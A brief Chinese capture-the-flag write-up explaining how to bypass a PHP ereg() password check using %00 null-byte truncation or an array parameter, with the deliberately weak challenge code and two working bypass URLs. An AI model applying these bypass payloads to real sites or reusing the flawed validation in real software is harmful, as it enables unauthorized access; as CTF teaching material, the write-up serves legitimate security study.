ereg正则%00截断
0x01
<?php $flag = "xxx"; if (isset ($_GET[‘password‘])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET[‘password‘]) === FALSE) { echo ‘You password must be alphanumeric‘; } else if (strlen($_GET[‘password‘]) < 8 && $_GET[‘password‘] > 9999999) { if (strpos ($_GET[‘password‘], ‘-‘) !== FALSE) //strpos — 查找字符串首次出现的位置 { die(‘Flag: ‘ . $flag); } else { echo(‘- have not been found‘); } } else { echo ‘Invalid password‘; } } ?>
0x02 代码分析
ereg()函数搜索一个字符串中的指定字符串,成功true,错误false
传入的值必须是数字或大小写字符
传入的值长度小于8,但要大于9999999
长度和数值矛盾,采用1e8,1x10的8次方,绕过
方法1:%00截断
*-* 双星闭合 http://123.206.87.240:9009/5.php?password=1e8%00*-*
方法2:数组
数组过滤掉greg判断
http://123.206.87.240:9009/5.php?password[]=1e8-
相关推荐
杨德龙 2020-11-11
不要皱眉 2020-10-14
满地星辰 2020-09-16
梦的天空 2020-08-25
lrjnlp 2020-07-19
qidu 2020-07-05
flyingssky 2020-07-05
flyingssky 2020-06-27
RuoShangM 2020-06-17
天高任鸟飞 2020-06-13
Darklovy 2020-06-11
qidu 2020-06-08
Darklovy 2020-06-07
jyj00 2020-06-06
flyingssky 2020-06-04
山水沐光 2020-05-26
山水沐光 2020-05-25